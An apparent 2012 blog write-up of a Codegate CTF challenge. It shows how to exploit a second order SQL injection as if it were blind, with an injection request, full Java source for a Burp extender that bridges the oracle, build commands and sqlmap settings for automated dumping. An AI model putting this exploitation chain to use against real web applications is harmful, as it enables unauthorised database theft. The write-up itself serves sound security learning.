Blind Second Order SQL Injection with Burp and SqlMap
March 30, 2012 Leave a comment
My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn’t blind – that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It’s something I’d never done before, and I thought it was an interesting problem. (I go off on tangents a lot – acme is awesome for still letting me be a pretty much non-contributing member of their team).
The Injection
The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:
POST /mp3_world/index.php?page=upload HTTP/1.1 Host: 1.237.174.123:3333 Content-Type: multipart/form-data; boundary=---------------------------265001916915724 Content-Length: 404 -----------------------------265001916915724 Content-Disposition: form-data; name="mp3"; filename='badfi"le.mp3' Content-Type: text/plain bad'" -----------------------------265001916915724 Content-Disposition: form-data; name="genre" if(1=1 ,1, 2) -----------------------------265001916915724 Content-Disposition: form-data; name="title" 9 95 -----------------------------265001916915724--
Notice the if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.
So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?
Extending Burp to Return the Oracle to an Injection Request
So here’s the strategy:
- Do the injection request.
- The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli
- Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful
The following code does this:
package burp; import java.net.*; import java.util.*; import java.util.regex.*; import java.io.*; public class BurpExtender { public IBurpExtenderCallbacks mCallbacks; //victimRequest is the value that triggers the alternate response public static String victimRequest = "1.237.174.123"; //replacementResponse replaces the response with this new one public static String replacementResponse = "http://1.237.174.123:3333/mp3_world/?page=player"; public static String injectionOracle = "[hiphop]"; public static String deleteOld = "http://1.237.174.123:3333/mp3_world/?page=upload&del="; public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo) { if (!messageIsRequest) { if (messageInfo.getHost().equals(victimRequest)) { boolean respvalue = false; try { //assume this is our sql injection response; make a second request to return System.out.println("This request needs a modified response"); //make a request to the second order to see if True or False //with this one, no need for cookies or anything - it's based on IP URL sqlcheck = new URL(replacementResponse); URLConnection sc = sqlcheck.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream())); String inputLine; String delIndex = ""; //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false while ((inputLine = in.readLine()) != null) { if (inputLine.contains(injectionOracle)) respvalue = true; //grab all the indexes so we can delete them later = format "idx=?" if (inputLine.contains("idx=")) { int sindex = inputLine.indexOf("idx="); int eindex = inputLine.indexOf(""", sindex); delIndex = inputLine.substring(sindex+4, eindex); } } in.close(); String resp; if (respvalue) resp = "True"; else resp = "False"; byte[] bResp = resp.getBytes(); messageInfo.setResponse(bResp); //Clean up old songs System.out.println("Deleting " + delIndex); String delstr = deleteOld + delIndex; URL delRequest = new URL(delstr); URLConnection deslc = delRequest.openConnection(); in = new BufferedReader(new InputStreamReader(deslc.getInputStream())); in.close(); } catch (java.io.IOException ex){ System.out.println("something's wrong"); } catch (java.lang.Exception ex){ System.out.println("something else is wrong"); } } } } public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { mCallbacks = callbacks; } }
To compile, it should look like this (the source file is BurpExtender.java). Here’s a command dump as a sanity check
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> ls Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 2/25/2012 5:00 PM burp -a--- 2/25/2012 5:00 PM 6445 BurpExtender.java -a--- 2/25/2012 3:47 PM 571 requestfile.ini -a--- 2/25/2012 6:16 PM 17168 sqlmap.config PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> javac .BurpExtender.java Note: .BurpExtender.java uses or overrides a deprecated API. Note: Recompile with -Xlint:deprecation for details. PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> rm .burpBurpExtender.class PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> mv .BurpExtender.class .burp PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> jar -cf .burpextender.jar .burpBurpExtender.class PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> cd .burp PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp> ls Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 2/25/2012 7:37 PM 4062 BurpExtender.class -a--- 2/24/2012 11:51 PM 345 burpextender.jar -a--- 6/3/2011 7:56 AM 7919 IBurpExtender.java -a--- 2/24/2012 11:19 PM 1587 IBurpExtenderCallbacks.class -a--- 2/24/2012 11:04 PM 13131 IBurpExtenderCallbacks.java -a--- 2/24/2012 11:19 PM 659 IHttpRequestResponse.class -a--- 6/3/2011 7:55 AM 4040 IHttpRequestResponse.java -a--- 2/24/2012 11:19 PM 196 IMenuItemHandler.class -a--- 6/3/2011 7:56 AM 1453 IMenuItemHandler.java -a--- 2/24/2012 11:19 PM 477 IScanIssue.class -a--- 6/3/2011 7:56 AM 2826 IScanIssue.java -a--- 2/24/2012 11:19 PM 347 IScanQueueItem.class -a--- 6/3/2011 7:56 AM 2309 IScanQueueItem.java
Then to run:
java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp
With this, you can make requests with Burp and it returns True or False in the single response.
Fenangling sqlmap
It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.
I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).
That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the ‘1’. By the way, the syntax is MySql.
asdfghbleh=1&aftercrap=crap
Replace asdfghbleh= with “if (1=”
Replaces &aftercrap=crap with “,1,2)”
So, for example, the base query has (in the genre param)
if (1=1, 1, 2)
Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.
#Base request from repeater with tags requestFile = requestfile.ini proxy = http://localhost:8080 testParameter = asdfghbleh dbms = mysql tech = B
After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead…